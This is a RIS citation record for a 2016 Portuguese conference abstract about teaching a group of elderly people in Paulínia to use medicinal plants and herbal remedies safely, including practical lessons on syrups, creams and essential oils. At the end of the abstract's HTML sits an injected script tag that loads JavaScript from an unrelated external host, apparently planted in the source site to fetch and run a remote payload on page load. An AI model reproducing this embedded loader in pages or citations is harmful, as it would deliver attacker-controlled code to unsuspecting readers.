TY - JOUR AU - Rodrigues, Marili Villa Nova AU - Oliveira, Adriana da Silva Santos AU - Lourenço, Jaqueline Oliveira de Paula AU - Pereira, Benicio AU - Rodrigues, Rodney Alexandre Ferreira AU - Figueira, Glyn Mara PY - 2016/10/27 Y2 - 2024/03/29 TI - Aprendendo a transformar plantas medicinais em fitoterápicos seguros JF - Sínteses: Revista Eletrônica do SimTec JA - Sínteses: Rev. Eletr. SimTec VL - 0 IS - 6 SE - Eixo 3 - Desenvolvimento humano, Diversidade, Sustentabilidade, Qualidade de vida e cultura DO - UR - https://econtents.bc.unicamp.br/inpec/index.php/simtec/article/view/8420 SP - 219-219 AB - <p><span>Com o passar dos anos, devido ao envelhecimento do organismo é bem comum o aparecimento de diversas patologias, onde o papel do uso de fitoterápicos e plantas medicinais (PM’s) é de grande relevância, principalmente para grande parcela de idosos. Entretanto, sua utilização indiscriminada pode ocasionar danos severos à saúde, sobretudo para grupos mais suscetíveis, como o dos idosos. Dessa forma, o objetivo deste trabalho foi conscientizar um grupo de idosos de Paulínia/SP sobre os riscos associados ao uso indiscriminado e inadequado de PM´s, através de palestras, visitas à laboratórios de pesquisa e aulas práticas de manipulação de fitoterápicos, onde foram produzidas formulações de xaropes, cremes anti-inflamatório, cicatrizante e repelente, além de práticas demonstrativas da obtenção de extratos, tinturas e extração de óleo essencial (OE) e algumas técnicas de controle de qualidade. O grupo aprendeu sobre a complexidade e o desafio do estudo com PM´s, destacando conceitos importantes quanto a aquisição, conservação, extração e controle de qualidade, além de orientações sobre o uso consciente de fitoterápicos e PMs. Aplicações dos OE’s nos ramos farmacêutico, cosmético, domissanitário e alimentício também foram exemplificadas através de aulas práticas. Desta forma, este projeto permitiu a inserção do grupo de idosos no contexto multidisciplinar das plantas medicinais e a troca mútua de conhecimentos e experiências entre os alunos envolvidos e o grupo de idosos.</span></p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -